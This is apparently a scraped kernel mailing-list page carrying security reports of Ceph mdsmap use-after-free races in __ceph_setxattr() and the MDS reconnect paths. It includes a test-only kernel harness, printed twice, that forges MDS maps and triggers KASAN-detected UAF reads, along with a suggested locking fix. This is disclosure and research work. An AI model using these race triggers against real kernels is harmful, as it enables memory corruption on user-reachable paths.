	len = rv_build_map(buf, sizeof(buf), epoch, npools, in_n);
	if (len < 0) {
		pr_err("CEPHV: map encode failed %d\n", len);
		return len;
	}
	msg.front.iov_base = buf;
	msg.front.iov_len = len;
	ceph_mdsc_handle_mdsmap(rv_mdsc, &msg);
	rv_cur_epoch = epoch;
	return 0;
}

static int rv_deliver_map(u32 epoch, u32 npools)

{
	return rv_deliver_map_ex(epoch, npools, RV_NMDS);
}

/* ------------------------------------------------------------------ */ /* Setup: fake client / fs_client / mds_client, then first map epoch 2 */ /* ------------------------------------------------------------------ */

static int rv_setup(void)

{
	int ret;

	if (rv_mdsc)
		return -EALREADY;

	rv_client = kzalloc(sizeof(*rv_client), GFP_KERNEL);
	rv_fsc = kzalloc(sizeof(*rv_fsc), GFP_KERNEL);
	rv_mopts = kzalloc(sizeof(*rv_mopts), GFP_KERNEL);
	if (!rv_client || !rv_fsc || !rv_mopts)
		return -ENOMEM;

	rv_client->options = &rv_copts;
	mutex_init(&rv_client->monc.mutex);
	rv_client->monc.client = rv_client;

	rv_fsc->client = rv_client;
	rv_fsc->mount_options = rv_mopts;
	INIT_LIST_HEAD(&rv_fsc->metric_wakeup);

	ret = ceph_mdsc_init(rv_fsc);
	if (ret) {
		pr_err("CEPHV: ceph_mdsc_init failed %d\n", ret);
		return ret;
	}
	rv_mdsc = rv_fsc->mdsc;

	/* Neutralize the delayed_work timer before the first map delivery,
	 * so the work item early-returns instead of running cap machinery.
	 */
	rv_mdsc->stopping = CEPH_MDSC_STOPPING_FLUSHED;

	ret = rv_deliver_map(2, 1);
	if (ret)
		return ret;
	flush_delayed_work(&rv_mdsc->delayed_work);

	/* The real debugfs show callback, using the real mdsmap_fops. */
	ceph_race_create_mdsmap_file(rv_fsc, rv_dir);

	pr_info("CEPHV: setup done, epoch=%u stopping=%d\n",
		rv_cur_epoch, (int)rv_mdsc->stopping);
	return 0;
}

/* ------------------------------------------------------------------ */
/* Stall hook called from the real mdsmap_show() after it snapshots */
/* fsc->mdsc->mdsmap (debugfs.c:66 in the unmodified tree). */
/* ------------------------------------------------------------------ */

void ceph_race_verify_pause(struct ceph_mds_client *mdsc,
struct ceph_mdsmap *mdsmap)

{
	if (!READ_ONCE(rv_pause_enabled) || !rv_mdsc)
		return;
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	atomic_set(&rv_loaded, 0);
}

/* ------------------------------------------------------------------ */ /* Kernel-thread readers: faithful replicas of the audited read sites */ /* ------------------------------------------------------------------ */

enum rv_reader_kind {
	RV_R_STATFS = 1,	/* super.c:68-69   (ceph_statfs) */
	RV_R_TOCTOU,		/* super.c:69      (double load) */
	RV_R_XATTR,		/* xattr.c:1237    (__ceph_setxattr) */
	RV_R_RENEW,		/* mds_client.c:2130/2179 */
	RV_R_PEER,		/* mds_client.c:5227 */
};

static int rv_reader_fn(void *arg)

{
	long kind = (long)arg;
	struct ceph_mdsmap *m, *m2;
	u64 val = 0;
	u32 u32v = 0;
	int st;

	m = READ_ONCE(rv_mdsc->mdsmap);
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);

	switch (kind) {
	case RV_R_STATFS:
		u32v = m->m_num_data_pg_pools;
		if (u32v == 1) {
			u64 *p = m->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_TOCTOU:
		u32v = m->m_num_data_pg_pools;
		m2 = READ_ONCE(rv_mdsc->mdsmap);
		if (u32v == 1) {
			u64 *p = m2->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_XATTR:
		val = m->m_max_xattr_size;
		break;
	case RV_R_RENEW:
		u32v = m->m_session_timeout;
		break;
	case RV_R_PEER:
		st = ceph_mdsmap_get_state(m, 0);
		{
			struct ceph_entity_addr addr;
			struct ceph_entity_addr *a =
				ceph_mdsmap_get_addr(m, 0);
			if (a)
				memcpy(&addr, a, sizeof(addr));
			pr_info("CEPHV: peer replica state=%d addr=%p\n",
				st, a);
		}
		return 0;
	default:
		return -EINVAL;
	}

	pr_info("CEPHV: reader kind=%ld val=%llu u32=%u\n", kind,
		(unsigned long long)val, u32v);
	return 0;
}

/* Real production reader: ceph_mdsmap_is_cluster_available() on a
* previously snapshotted map (the ceph_get_tree() out_splat pattern). */
static int rv_reader3_fn(void *arg)

{
	struct ceph_mdsmap *m = READ_ONCE(rv_mdsc->mdsmap);
	bool avail;

	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	avail = ceph_mdsmap_is_cluster_available(m);
	pr_info("CEPHV: reader3 avail=%d\n", avail);
	return 0;
}

static int rv_spawn(int (*fn)(void *), long kind, const char *name,
struct task_struct **out)

{
	struct task_struct *t = kthread_run(fn, (void *)kind, "%s", name);

	if (IS_ERR(t))
		return PTR_ERR(t);
	if (out)
		*out = t;
	return 0;
}

static void rv_release(void)

{
	atomic_set(&rv_released, 1);
	complete_all(&rv_go);
}

/* ------------------------------------------------------------------ */
/* control file */
/* ------------------------------------------------------------------ */

static ssize_t rv_ctl_write(struct file *f, const char __user *ubuf,
size_t len, loff_t *off)

{
	struct task_struct *t;
	char buf[32];
	int ret = 0;

	if (len >= sizeof(buf))
		return -EINVAL;
	if (copy_from_user(buf, ubuf, len))
		return -EFAULT;
	buf[len] = 0;
	strim(buf);

	if (!strcmp(buf, "setup")) {
		ret = rv_setup();
	} else if (!strcmp(buf, "arm")) {
		rv_pause_enabled = true;
		reinit_completion(&rv_go);
		atomic_set(&rv_loaded, 0);
		atomic_set(&rv_released, 0);
		pr_info("CEPHV: armed (pause hook enabled)\n");
	} else if (!strcmp(buf, "trigger")) {
		ret = rv_deliver_map(rv_cur_epoch + 1, 1);
		pr_info("CEPHV: trigger epoch=%u pools=1\n", rv_cur_epoch);
	} else if (!strcmp(buf, "trigger0")) {
		ret = rv_deliver_map_ex(rv_cur_epoch + 1, 0, 0);
		pr_info("CEPHV: trigger epoch=%u pools=0\n", rv_cur_epoch);
	} else if (!strcmp(buf, "release")) {
		rv_release();
		pr_info("CEPHV: released\n");
	} else if (!strcmp(buf, "reader3")) {
		ret = rv_spawn(rv_reader3_fn, 0, "cephrv3", &t);
	} else if (!strcmp(buf, "rep")) {
		ret = rv_spawn(rv_reader_fn, RV_R_STATFS, "cephrv-s", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_XATTR, "cephrv-x", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_RENEW, "cephrv-r", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_PEER, "cephrv-p", NULL);
	} else if (!strcmp(buf, "rep0")) {
		ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t0", NULL);
	} else if (!strcmp(buf, "noop")) {
		ret = 0;
	} else {
		ret = -EINVAL;
	}

	if (ret)
		return ret;
	return len;
}

static const struct file_operations rv_ctl_fops = {
.write = rv_ctl_write,
};

static int rv_state_show(struct seq_file *s, void *unused)

{
	seq_printf(s, "mdsc=%d epoch=%u loaded=%d released=%d pause=%d stopping=%d\n",
		   rv_mdsc ? 1 : 0, rv_cur_epoch,
		   atomic_read(&rv_loaded), atomic_read(&rv_released),
		   rv_pause_enabled ? 1 : 0,
		   rv_mdsc ? (int)rv_mdsc->stopping : -1);
	return 0;
}

DEFINE_SHOW_ATTRIBUTE(rv_state);

static int __init rv_init(void)

{
	rv_dir = debugfs_create_dir("cephrace", NULL);
	if (IS_ERR_OR_NULL(rv_dir))
		return 0;
	debugfs_create_file("control", 0200, rv_dir, NULL, &rv_ctl_fops);
	debugfs_create_file("state", 0400, rv_dir, NULL, &rv_state_fops);
	pr_info("CEPHV: harness loaded\n");
	return 0;
}

late_initcall(rv_init);

fs/ceph/debugfs.c +12 -0
@@ -20,6 +20,8 @@
 
 #include "super.h"
 
+#include "race_verify.h"
+
 #ifdef CONFIG_DEBUG_FS
 
 #include "mds_client.h"
@@ -64,6 +66,7 @@
 	if (!fsc->mdsc || !fsc->mdsc->mdsmap)
 		return 0;
 	mdsmap = fsc->mdsc->mdsmap;
+	ceph_race_verify_pause(fsc->mdsc, mdsmap);
 	seq_printf(s, "epoch %d\n", mdsmap->m_epoch);
 	seq_printf(s, "root %d\n", mdsmap->m_root);
 	seq_printf(s, "max_mds %d\n", mdsmap->m_max_mds);
@@ -531,6 +534,15 @@
 }
 
 DEFINE_SHOW_ATTRIBUTE(mdsmap);
+
+#ifdef CONFIG_CEPH_RACE_VERIFY
+/* TEST ONLY: expose the real mdsmap_show() fops on a harness directory. */
+void ceph_race_create_mdsmap_file(struct ceph_fs_client *fsc,
+				  struct dentry *parent)
+{
+	debugfs_create_file("mdsmap", 0400, parent, fsc, &mdsmap_fops);
+}
+#endif
 DEFINE_SHOW_ATTRIBUTE(mdsc);
 DEFINE_SHOW_ATTRIBUTE(caps);
 DEFINE_SHOW_ATTRIBUTE(mds_sessions);
fs/ceph/Makefile +1 -0
@@ -13,3 +13,4 @@
 ceph-$(CONFIG_CEPH_FSCACHE) += cache.o
 ceph-$(CONFIG_CEPH_FS_POSIX_ACL) += acl.o
 ceph-$(CONFIG_FS_ENCRYPTION) += crypto.o
+ceph-$(CONFIG_CEPH_RACE_VERIFY) += race_verify.o
fs/ceph/Kconfig +9 -0
@@ -47,3 +47,12 @@
 
 	  If you are not using a security module that requires using
 	  extended attributes for file security labels, say N.
+
+config CEPH_RACE_VERIFY
+	bool "Ceph mdsmap lifetime race verification harness (TEST ONLY)"
+	depends on CEPH_FS && DEBUG_FS
+	help
+	  Test-only instrumentation used to dynamically verify mdsmap
+	  lifetime races (publish+destroy vs. lockless readers).  Not for
+	  production kernels.
+
author
#81 lore raw

fs/ceph: __ceph_setxattr() reads mdsmap->m_max_xattr_size without mdsc->mutex (UAF)

In reply to Greg KH

__ceph_setxattr() reads mdsc->mdsmap->m_max_xattr_size at xattr.c:1237 and again at xattr.c:1268 while holding only the inode spinlock ci->i_ceph_lock; it never takes mdsc->mutex. ceph_mdsc_handle_mdsmap() replaces mdsc->mdsmap and frees the old map under mdsc->mutex (mds_client.c:7057-7061), and struct ceph_mdsmap has no refcount/RCU, so a setxattr(2) racing an MDS map update can read freed memory. The value is a u64 (m_max_xattr_size); a garbage read also makes the xattr size check inconsistent. Any user that can write an inode can call setxattr(2), so this is a user-triggerable UAF read. I reproduced the UAF at the xattr read point on 7.3 with the same publish/free path.

The detailed description:

* Test environment / affected version

Linux 7.3.0 tree (Makefile: VERSION 7, PATCHLEVEL 3, SUBLEVEL 0) at /home/xuhanxiang/project/race/linux, not a git checkout:

    fs/ceph/xattr.c        b3ff3bb8dda572fee6417b9cf9180cba
    fs/ceph/mds_client.c   8678459253e5b1452667946bf4457c5a
    fs/ceph/mdsmap.c       5cb2b54f0d3007961c36e68da1f6318c

All line numbers are from this tree. Kernel 7.3.0 #2 PREEMPT(lazy), gcc 13.3.0, KASAN enabled (CONFIG_KASAN=y, CONFIG_CEPH_FS=y, CONFIG_CEPH_LIB=y). QEMU/KVM, 4 vCPU/4G, busybox initramfs.

* Mechanism

__ceph_setxattr() (xattr.c:1176) gets the mds client from the superblock (xattr.c:1182), takes ci->i_ceph_lock (1232) and checks the encoded size:

        if ((ci->i_xattrs.version == 0) ||
            !(issued & CEPH_CAP_XATTR_EXCL) ||
            (required_blob_size > mdsc->mdsmap->m_max_xattr_size)) {
                doutc(cl, ...);
                goto do_sync;
        }
        ...
        if (required_blob_size > mdsc->mdsmap->m_max_xattr_size) {
                ...
        }

so the map pointer is dereferenced at 1237 (and again at 1268) without mdsc->mutex. m_max_xattr_size is decoded from the MDS map (mdsmap.c:419, u64) and freed with the map (mdsmap.c:443-455).

Callers: ceph_set_xattr_handler() (xattr.c:1354-1363), reachable through ceph_other_xattr_handler (prefix "", xattr.c:1365-1369) registered in ceph_xattr_handlers[] (1483-1486), and the ACL path (acl.c:146). ceph_is_valid_xattr() (xattr.c:21-26) accepts user.*/security.*/trusted.*/ ceph.* names.

* Trigger model

- A user with write access to an inode on a cephfs mount calls setxattr(2) (user.* is the natural choice; no privilege needed).
- A concurrent MDS map update replaces/frees the map.
- The window is between loading mdsc->mdsmap (twice, at 1237/1268) and reading m_max_xattr_size.

* Reproducer (attached: ceph_mdsmap_race_harness.c + instrumentation.patch) and results on 7.3

The harness builds a real struct ceph_mds_client (real ceph_mdsc_init()), publishes a minimal map through the real ceph_mdsc_handle_mdsmap(), and runs a reader kind that replays the xattr read: snapshot mdsc->mdsmap, block, then after the map is freed read m_max_xattr_size (the plan "replicas", kind 3).

    # plan replicas: setup -> rep (5 readers) -> trigger (publish + free)
    #                -> release

Result:

    BUG: KASAN: slab-use-after-free in rv_reader_fn+0x111/0x126
    Read of size 8 ... (m_max_xattr_size)
    Allocated by: ceph_mdsmap_decode+0xe1 <- ceph_mdsc_handle_mdsmap+0x288
    Freed by:     ceph_mdsc_handle_mdsmap+0x2c7

Control run replicasctl (release before publish): KASAN count 0. Note that the doutc() occurrences (1240/1270) are dynamic-debug gated and not resident reads; the resident reads are 1237/1268.

* Suggested direction

Snapshot the limit into a local variable under mdsc->mutex before entering the i_ceph_lock critical section, e.g.

        u64 max_xattr_size;
        mutex_lock(&mdsc->mutex);
        max_xattr_size = mdsc->mdsmap->m_max_xattr_size;
        mutex_unlock(&mdsc->mutex);

and use the snapshot at both 1237 and 1268. RCU-based publication would also work.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
/*
* fs/ceph mdsmap lifetime race verification harness (TEST ONLY, not upstream). *
* This file is compiled into ceph.o only when CONFIG_CEPH_RACE_VERIFY=y.
* It builds a fake (but minimally consistent) ceph client / fs_client /
* mds_client, publishes MDS maps into mdsc->mdsmap through the *real*
* ceph_mdsc_handle_mdsmap() writer, and lets readers (the real debugfs
* mdsmap_show() and line-faithful replicas of the audited read sites)
* dereference a map while a concurrent map update publishes a new map and
* ceph_mdsmap_destroy()s the old one.
*
* Only the test scaffolding and one stall hook are added; the writer, the
* free path, the debugfs show callback and ceph_mdsmap_is_cluster_available()
* are the unmodified production code under test.
*/
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/debugfs.h>
#include <linux/fs.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/atomic.h>
#include <linux/slab.h>
#include <linux/string.h>
#include <linux/uaccess.h>
#include <linux/ceph/decode.h>
#include <linux/ceph/libceph.h>

#include "super.h"
#include "mds_client.h"
#include "mdsmap.h"
#include "race_verify.h"

static struct ceph_options rv_copts; /* con_modes[0] == UNKNOWN -> msgr1 */
static struct ceph_client *rv_client;
static struct ceph_fs_client *rv_fsc;
static struct ceph_mount_options *rv_mopts;
static struct ceph_mds_client *rv_mdsc;
static struct dentry *rv_dir;
static u32 rv_cur_epoch;

static bool rv_pause_enabled;
static atomic_t rv_loaded = ATOMIC_INIT(0);
static atomic_t rv_released = ATOMIC_INIT(0);
static DECLARE_COMPLETION(rv_go);

#define RV_BUF_SZ 4096
#define RV_NMDS 1

/* ------------------------------------------------------------------ */
/* MDS map wire encoder: mdsmap_v=1 (legacy), one ACTIVE mds rank. */
/* ------------------------------------------------------------------ */

#define RV_MSG_HDR_SZ 24 /* ceph_fsid (16) + epoch (u32) + maplen (u32) */

static int rv_build_map(u8 *buf, size_t bufsz, u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_fsid fsid;
	void *p = buf + RV_MSG_HDR_SZ;
	void *end = buf + bufsz;
	u32 maplen;
	u32 i;
	int j;

	if (bufsz <= RV_MSG_HDR_SZ)
		return -EINVAL;

	ceph_encode_8(&p, 1);			/* mdsmap_v */
	ceph_encode_8(&p, 0);			/* compat version byte */
	ceph_encode_32(&p, epoch);		/* m_epoch */
	ceph_encode_32(&p, 0);			/* m_client_epoch */
	ceph_encode_32(&p, 0);			/* m_last_failure */
	ceph_encode_32(&p, 1);			/* m_root */
	ceph_encode_32(&p, 60);			/* m_session_timeout */
	ceph_encode_32(&p, 300);		/* m_session_autoclose */
	ceph_encode_64(&p, 1ULL << 40);		/* m_max_file_size */
	ceph_encode_32(&p, RV_NMDS);		/* m_max_mds */
	ceph_encode_32(&p, RV_NMDS);		/* m_num_active_mds */

	for (i = 0; i < RV_NMDS; i++) {
		ceph_encode_64(&p, i + 1);	/* global_id */
		ceph_encode_8(&p, 1);		/* info_v (no addrvec, no exports) */
		ceph_encode_64(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
		ceph_encode_32(&p, i);		/* mds rank */
		ceph_encode_32(&p, 0);		/* inc */
		ceph_encode_32(&p, CEPH_MDS_STATE_ACTIVE);
		ceph_encode_64(&p, 0);		/* state_seq */
		/* legacy entity_addr: 1 marker byte + 3 type bytes + nonce */
		ceph_encode_8(&p, CEPH_ENTITY_ADDR_TYPE_NONE);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_8(&p, 0);
		ceph_encode_32(&p, 0);		/* nonce */
		for (j = 0; j < 16; j++)	/* sockaddr_storage (128B) */
			ceph_encode_64(&p, 0);
		ceph_encode_64(&p, 0);		/* laggy_since (ceph_timespec) */
		ceph_encode_32(&p, 0);		/* skipped field */
		ceph_encode_32(&p, 0);		/* namelen */
	}

	ceph_encode_32(&p, npools);		/* m_num_data_pg_pools */
	for (i = 0; i < npools; i++)
		ceph_encode_64(&p, 1);		/* data pool id */
	ceph_encode_64(&p, 0);			/* m_cas_pg_pool */

	/* tail for mdsmap_ev == 1 */
	ceph_encode_32(&p, 1);			/* metadata_pool */
	ceph_encode_64(&p, 0);			/* created (ceph_timespec) */
	ceph_encode_64(&p, 0);			/* modified (ceph_timespec) */
	ceph_encode_32(&p, 0);			/* tableserver */
	ceph_encode_32(&p, in_n);		/* in set: in_n entries */
	for (i = 0; i < in_n; i++)
		ceph_encode_32(&p, i);		/* rank i is in */
	ceph_encode_32(&p, 0);			/* inc map: 0 entries */
	ceph_encode_32(&p, 0);			/* up map: 0 entries */
	ceph_encode_32(&p, 0);			/* failed set: 0 entries */
	ceph_encode_32(&p, 0);			/* stopped set: 0 entries */

	if (p > end)
		return -EOVERFLOW;

	maplen = p - (void *)(buf + RV_MSG_HDR_SZ);

	/* message header: ceph_fsid + map epoch + map length */
	memset(&fsid, 0, sizeof(fsid));
	fsid.fsid[0] = 0xce;
	fsid.fsid[15] = 0x71;
	p = buf;
	ceph_encode_copy(&p, &fsid, sizeof(fsid));
	ceph_encode_32(&p, epoch);
	ceph_encode_32(&p, maplen);
	if (p != buf + RV_MSG_HDR_SZ)
		return -EINVAL;
	return (buf + RV_MSG_HDR_SZ + maplen) - buf;
}

static int rv_deliver_map_ex(u32 epoch, u32 npools, u32 in_n)

{
	struct ceph_msg msg = { };
	u8 buf[RV_BUF_SZ];
	int len;

	len = rv_build_map(buf, sizeof(buf), epoch, npools, in_n);
	if (len < 0) {
		pr_err("CEPHV: map encode failed %d\n", len);
		return len;
	}
	msg.front.iov_base = buf;
	msg.front.iov_len = len;
	ceph_mdsc_handle_mdsmap(rv_mdsc, &msg);
	rv_cur_epoch = epoch;
	return 0;
}

static int rv_deliver_map(u32 epoch, u32 npools)

{
	return rv_deliver_map_ex(epoch, npools, RV_NMDS);
}

/* ------------------------------------------------------------------ */ /* Setup: fake client / fs_client / mds_client, then first map epoch 2 */ /* ------------------------------------------------------------------ */

static int rv_setup(void)

{
	int ret;

	if (rv_mdsc)
		return -EALREADY;

	rv_client = kzalloc(sizeof(*rv_client), GFP_KERNEL);
	rv_fsc = kzalloc(sizeof(*rv_fsc), GFP_KERNEL);
	rv_mopts = kzalloc(sizeof(*rv_mopts), GFP_KERNEL);
	if (!rv_client || !rv_fsc || !rv_mopts)
		return -ENOMEM;

	rv_client->options = &rv_copts;
	mutex_init(&rv_client->monc.mutex);
	rv_client->monc.client = rv_client;

	rv_fsc->client = rv_client;
	rv_fsc->mount_options = rv_mopts;
	INIT_LIST_HEAD(&rv_fsc->metric_wakeup);

	ret = ceph_mdsc_init(rv_fsc);
	if (ret) {
		pr_err("CEPHV: ceph_mdsc_init failed %d\n", ret);
		return ret;
	}
	rv_mdsc = rv_fsc->mdsc;

	/* Neutralize the delayed_work timer before the first map delivery,
	 * so the work item early-returns instead of running cap machinery.
	 */
	rv_mdsc->stopping = CEPH_MDSC_STOPPING_FLUSHED;

	ret = rv_deliver_map(2, 1);
	if (ret)
		return ret;
	flush_delayed_work(&rv_mdsc->delayed_work);

	/* The real debugfs show callback, using the real mdsmap_fops. */
	ceph_race_create_mdsmap_file(rv_fsc, rv_dir);

	pr_info("CEPHV: setup done, epoch=%u stopping=%d\n",
		rv_cur_epoch, (int)rv_mdsc->stopping);
	return 0;
}

/* ------------------------------------------------------------------ */
/* Stall hook called from the real mdsmap_show() after it snapshots */
/* fsc->mdsc->mdsmap (debugfs.c:66 in the unmodified tree). */
/* ------------------------------------------------------------------ */

void ceph_race_verify_pause(struct ceph_mds_client *mdsc,
struct ceph_mdsmap *mdsmap)

{
	if (!READ_ONCE(rv_pause_enabled) || !rv_mdsc)
		return;
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	atomic_set(&rv_loaded, 0);
}

/* ------------------------------------------------------------------ */ /* Kernel-thread readers: faithful replicas of the audited read sites */ /* ------------------------------------------------------------------ */

enum rv_reader_kind {
	RV_R_STATFS = 1,	/* super.c:68-69   (ceph_statfs) */
	RV_R_TOCTOU,		/* super.c:69      (double load) */
	RV_R_XATTR,		/* xattr.c:1237    (__ceph_setxattr) */
	RV_R_RENEW,		/* mds_client.c:2130/2179 */
	RV_R_PEER,		/* mds_client.c:5227 */
};

static int rv_reader_fn(void *arg)

{
	long kind = (long)arg;
	struct ceph_mdsmap *m, *m2;
	u64 val = 0;
	u32 u32v = 0;
	int st;

	m = READ_ONCE(rv_mdsc->mdsmap);
	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);

	switch (kind) {
	case RV_R_STATFS:
		u32v = m->m_num_data_pg_pools;
		if (u32v == 1) {
			u64 *p = m->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_TOCTOU:
		u32v = m->m_num_data_pg_pools;
		m2 = READ_ONCE(rv_mdsc->mdsmap);
		if (u32v == 1) {
			u64 *p = m2->m_data_pg_pools;
			val = p[0];
		}
		break;
	case RV_R_XATTR:
		val = m->m_max_xattr_size;
		break;
	case RV_R_RENEW:
		u32v = m->m_session_timeout;
		break;
	case RV_R_PEER:
		st = ceph_mdsmap_get_state(m, 0);
		{
			struct ceph_entity_addr addr;
			struct ceph_entity_addr *a =
				ceph_mdsmap_get_addr(m, 0);
			if (a)
				memcpy(&addr, a, sizeof(addr));
			pr_info("CEPHV: peer replica state=%d addr=%p\n",
				st, a);
		}
		return 0;
	default:
		return -EINVAL;
	}

	pr_info("CEPHV: reader kind=%ld val=%llu u32=%u\n", kind,
		(unsigned long long)val, u32v);
	return 0;
}

/* Real production reader: ceph_mdsmap_is_cluster_available() on a
* previously snapshotted map (the ceph_get_tree() out_splat pattern). */
static int rv_reader3_fn(void *arg)

{
	struct ceph_mdsmap *m = READ_ONCE(rv_mdsc->mdsmap);
	bool avail;

	atomic_inc(&rv_loaded);
	wait_for_completion(&rv_go);
	avail = ceph_mdsmap_is_cluster_available(m);
	pr_info("CEPHV: reader3 avail=%d\n", avail);
	return 0;
}

static int rv_spawn(int (*fn)(void *), long kind, const char *name,
struct task_struct **out)

{
	struct task_struct *t = kthread_run(fn, (void *)kind, "%s", name);

	if (IS_ERR(t))
		return PTR_ERR(t);
	if (out)
		*out = t;
	return 0;
}

static void rv_release(void)

{
	atomic_set(&rv_released, 1);
	complete_all(&rv_go);
}

/* ------------------------------------------------------------------ */
/* control file */
/* ------------------------------------------------------------------ */

static ssize_t rv_ctl_write(struct file *f, const char __user *ubuf,
size_t len, loff_t *off)

{
	struct task_struct *t;
	char buf[32];
	int ret = 0;

	if (len >= sizeof(buf))
		return -EINVAL;
	if (copy_from_user(buf, ubuf, len))
		return -EFAULT;
	buf[len] = 0;
	strim(buf);

	if (!strcmp(buf, "setup")) {
		ret = rv_setup();
	} else if (!strcmp(buf, "arm")) {
		rv_pause_enabled = true;
		reinit_completion(&rv_go);
		atomic_set(&rv_loaded, 0);
		atomic_set(&rv_released, 0);
		pr_info("CEPHV: armed (pause hook enabled)\n");
	} else if (!strcmp(buf, "trigger")) {
		ret = rv_deliver_map(rv_cur_epoch + 1, 1);
		pr_info("CEPHV: trigger epoch=%u pools=1\n", rv_cur_epoch);
	} else if (!strcmp(buf, "trigger0")) {
		ret = rv_deliver_map_ex(rv_cur_epoch + 1, 0, 0);
		pr_info("CEPHV: trigger epoch=%u pools=0\n", rv_cur_epoch);
	} else if (!strcmp(buf, "release")) {
		rv_release();
		pr_info("CEPHV: released\n");
	} else if (!strcmp(buf, "reader3")) {
		ret = rv_spawn(rv_reader3_fn, 0, "cephrv3", &t);
	} else if (!strcmp(buf, "rep")) {
		ret = rv_spawn(rv_reader_fn, RV_R_STATFS, "cephrv-s", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_XATTR, "cephrv-x", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_RENEW, "cephrv-r", NULL);
		if (!ret)
			ret = rv_spawn(rv_reader_fn, RV_R_PEER, "cephrv-p", NULL);
	} else if (!strcmp(buf, "rep0")) {
		ret = rv_spawn(rv_reader_fn, RV_R_TOCTOU, "cephrv-t0", NULL);
	} else if (!strcmp(buf, "noop")) {
		ret = 0;
	} else {
		ret = -EINVAL;
	}

	if (ret)
		return ret;
	return len;
}

static const struct file_operations rv_ctl_fops = {
.write = rv_ctl_write,
};

static int rv_state_show(struct seq_file *s, void *unused)

{
	seq_printf(s, "mdsc=%d epoch=%u loaded=%d released=%d pause=%d stopping=%d\n",
		   rv_mdsc ? 1 : 0, rv_cur_epoch,
		   atomic_read(&rv_loaded), atomic_read(&rv_released),
		   rv_pause_enabled ? 1 : 0,
		   rv_mdsc ? (int)rv_mdsc->stopping : -1);
	return 0;
}

DEFINE_SHOW_ATTRIBUTE(rv_state);

static int __init rv_init(void)

{
	rv_dir = debugfs_create_dir("cephrace", NULL);
	if (IS_ERR_OR_NULL(rv_dir))
		return 0;
	debugfs_create_file("control", 0200, rv_dir, NULL, &rv_ctl_fops);
	debugfs_create_file("state", 0400, rv_dir, NULL, &rv_state_fops);
	pr_info("CEPHV: harness loaded\n");
	return 0;
}

late_initcall(rv_init);

fs/ceph/debugfs.c +12 -0
@@ -20,6 +20,8 @@
 
 #include "super.h"
 
+#include "race_verify.h"
+
 #ifdef CONFIG_DEBUG_FS
 
 #include "mds_client.h"
@@ -64,6 +66,7 @@
 	if (!fsc->mdsc || !fsc->mdsc->mdsmap)
 		return 0;
 	mdsmap = fsc->mdsc->mdsmap;
+	ceph_race_verify_pause(fsc->mdsc, mdsmap);
 	seq_printf(s, "epoch %d\n", mdsmap->m_epoch);
 	seq_printf(s, "root %d\n", mdsmap->m_root);
 	seq_printf(s, "max_mds %d\n", mdsmap->m_max_mds);
@@ -531,6 +534,15 @@
 }
 
 DEFINE_SHOW_ATTRIBUTE(mdsmap);
+
+#ifdef CONFIG_CEPH_RACE_VERIFY
+/* TEST ONLY: expose the real mdsmap_show() fops on a harness directory. */
+void ceph_race_create_mdsmap_file(struct ceph_fs_client *fsc,
+				  struct dentry *parent)
+{
+	debugfs_create_file("mdsmap", 0400, parent, fsc, &mdsmap_fops);
+}
+#endif
 DEFINE_SHOW_ATTRIBUTE(mdsc);
 DEFINE_SHOW_ATTRIBUTE(caps);
 DEFINE_SHOW_ATTRIBUTE(mds_sessions);
fs/ceph/Makefile +1 -0
@@ -13,3 +13,4 @@
 ceph-$(CONFIG_CEPH_FSCACHE) += cache.o
 ceph-$(CONFIG_CEPH_FS_POSIX_ACL) += acl.o
 ceph-$(CONFIG_FS_ENCRYPTION) += crypto.o
+ceph-$(CONFIG_CEPH_RACE_VERIFY) += race_verify.o
fs/ceph/Kconfig +9 -0
@@ -47,3 +47,12 @@
 
 	  If you are not using a security module that requires using
 	  extended attributes for file security labels, say N.
+
+config CEPH_RACE_VERIFY
+	bool "Ceph mdsmap lifetime race verification harness (TEST ONLY)"
+	depends on CEPH_FS && DEBUG_FS
+	help
+	  Test-only instrumentation used to dynamically verify mdsmap
+	  lifetime races (publish+destroy vs. lockless readers).  Not for
+	  production kernels.
+
author
#82 lore raw

fs/ceph: MDS reconnect paths read mdsc->mdsmap without mdsc->mutex (UAF)

In reply to Greg KH

When an MDS connection is reset, mds_peer_reset() reads the MDS rank state via ceph_mdsmap_get_state(mdsc->mdsmap, s->s_mds) at mds_client.c:7116 and 7124 without taking mdsc->mutex, and the subsequent send_mds_reconnect() calls ceph_con_open(..., ceph_mdsmap_get_addr(mdsc->mdsmap, mds)) at 5225-5227, which ends up copying the address (136 bytes) with memcpy in ceph_con_open() (messenger.c:611). ceph_mdsc_handle_mdsmap() replaces mdsc->mdsmap and immediately frees the old map (mds_client.c:7057-7061; struct ceph_mdsmap has no refcount/RCU). An MDS restart/session reset racing a map update therefore reads freed memory. The same read also has a NULL variant: if the new map's possible_max_rank (max(num_active_mds, max_mds), mdsmap.c:172) becomes <= mds, ceph_mdsmap_get_addr() returns NULL and the memcpy dereferences NULL. I reproduced the address-copy UAF on 7.3; MDS restarts naturally trigger both the session reset and the map update, so the two events are correlated.

The detailed description:

* Test environment / affected version

